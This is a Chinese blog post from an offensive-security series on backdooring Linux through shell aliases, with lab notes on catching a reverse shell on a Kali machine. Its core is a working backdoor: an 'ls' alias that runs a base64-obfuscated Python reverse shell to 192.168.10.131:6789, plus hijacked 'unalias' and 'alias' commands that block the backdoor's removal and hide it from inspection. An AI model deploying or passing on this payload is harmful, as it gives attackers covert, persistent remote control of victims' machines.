首页 > 系统相关 >【待做】【攻防技术系列+Linux后门】alias

【待做】【攻防技术系列+Linux后门】alias

时间:2024-07-23 14:54:25浏览次数:9  
标签:攻防 shell unalias alerts alias ls Linux bash

alias

用法

系统默认别名:

alias

设置别名:

alias ls='ls -laih'


删除别名:

unalias ls

加参数:

alias ls='ls -laih;pwd'

❗注意

系统启动默认加载的配置文件:

切换用户就会执行/etc/profile

bash shell

每次打开新的shell时该文件都将被读取

每次退出系统(退出bash shell)时执行该文件

后门

命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMzEiLCA2Nzg5KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

base64解码内容:

根据实际情况,修改细节:


实验过程中,发现没有python3,可以参考以下解决方案:

使用CentOS 7默认软件仓库安装

1、 更新系统包管理器:

2、安装Python 3:

3、验证安装是否成功:

执行ls,反弹shell到kali监听的6666端口

【目标机器】可以看到连接的信息,需要关闭【攻击机】的ssh,目标机器才会执行在攻击机上的命令

劫持了命令alias,查看显示ls='ls --color=auto'

标签:攻防,shell,unalias,alerts,alias,ls,Linux,bash
From: https://www.cnblogs.com/o-O-oO/p/18318390

相关文章

  • 【待做】【攻防技术系列+漏洞复现】MS-17010
    虚拟机环境搭建:Kali,192.168.10.131win7,192.168.10.133winXP,192.168.10.137众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:漏洞检测payload:auxiliary/scanner/smb/smb_ms17_010x64架构漏洞利用pay......
  • linux内核源码阅读-块设备驱动
     来自:https://in1t.top/2020/06/04/linux%E5%86%85%E6%A0%B8%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%9D%97%E8%AE%BE%E5%A4%87%E9%A9%B1%E5%8A%A8/ 开始fs模块之前,我发现如果对块设备/字符设备的驱动程序不了解的话,读fs代码时会困难重重。为了简化问题,本文及之后的f......
  • Linux Vim教程(五):搜索与替换
    目录1.基本搜索功能1.1向前搜索1.2向后搜索1.3重复上一次搜索1.4高亮显示搜索结果1.5区分大小写搜索2.高级搜索技巧2.1搜索并跳转到特定行2.2搜索并跳转到特定列2.3搜索并高亮特定模式2.4搜索历史2.5搜索并替换3.基本替换功能3.1替换当前行3.2替......
  • 史上最全的Linux常用软件安装教程【包含Docker安装】
    @目录1.系统版本2.已安装软件(1)常规方式安装的软件(2)docker安装的软件注意3.修改IP步骤4.Tips1.防火墙2.设置jar包开机自启动方式一(强烈推荐):service形式方式二:sh形式多服务同时启动/关闭3.编辑文件4.开机免密登录root5.设置禁止自动锁屏6.安装搜狗输入法7.环境变量配置汇总8.Doc......
  • Linux随堂笔记
    以点开头的文件是隐藏文件,ls-a查看~家目录-rw-------,1rootroot907Jul1816:58anaconda-ks.cfg"-rw-------"表示文件权限,其中"-"表示普通文件,"rw-"表示所有者有读写权限,"---"表示组和其他用户没有任何权限。"1"表示文件的硬连接数。"rootroot"分别表示所有者和所属......
  • Linux 运维必备的13款实用工具
    1、查看进程占用带宽情况-NethogsNethogs是一个终端下的网络流量监控工具可以直观的显示每个进程占用的带宽。下载:http://sourceforge.net/projects/nethogs/files/nethogs/0.8/nethogs-0.8.0.tar.gz/download[root@localhost~]#yum-yinstalllibpcap-develncurses-devel[ro......
  • linux没熟练内容
    一:压缩与解压(1)xzfilename压缩文件unxzfilename解压文件xzfilename1filename2同时压缩两个文件(2)压缩目录tar-zcvf压缩文件名.tar.gz原名必须要有.tar.gz例如:tar-zxvftaiguowanmei.tar.gzdirectory(删除压缩包也用rm)解压tar-zxvf压缩文件名.tar.gz......
  • Linux 行文本处理工具sed
    sed(streameditor)是Linux和Unix系统中非常强大的文本处理工具,它可以对文本进行过滤和转换。sed以行为单位处理文本,可以通过读取输入文件(或标准输入),应用一系列的编辑命令,然后将结果输出到标准输出(通常是屏幕)或文件中。基本语法sed[选项]...{脚本-地址}{命令}[输入文件]......
  • Linux标准大页设置不合理案例
    Oracle数据库中如果标准大页设置不合理,可能导致物理内存被浪费掉。下面介绍一个案例:查看标准大页的信息,如下所示:$ grep HugePages /proc/meminfoAnonHugePages:         0 kBShmemHugePages:        0 kBFileHugePages:         0 kBHugePages_......
  • Qmi8658a姿态传感器使用心得(4)linux
    1.FIFO结构与大小FIFO数据可以包含陀螺仪和加速度计数据,通过SPI/I2C/I3C接口以突发读模式读取。FIFO大小可配置为16样本、32样本、64样本或128样本(每个样本为6字节)。2.FIFO模式Bypass模式:禁用FIFO功能。FIFO模式:FIFO满后停止写入新数据,直到主机读取FIF......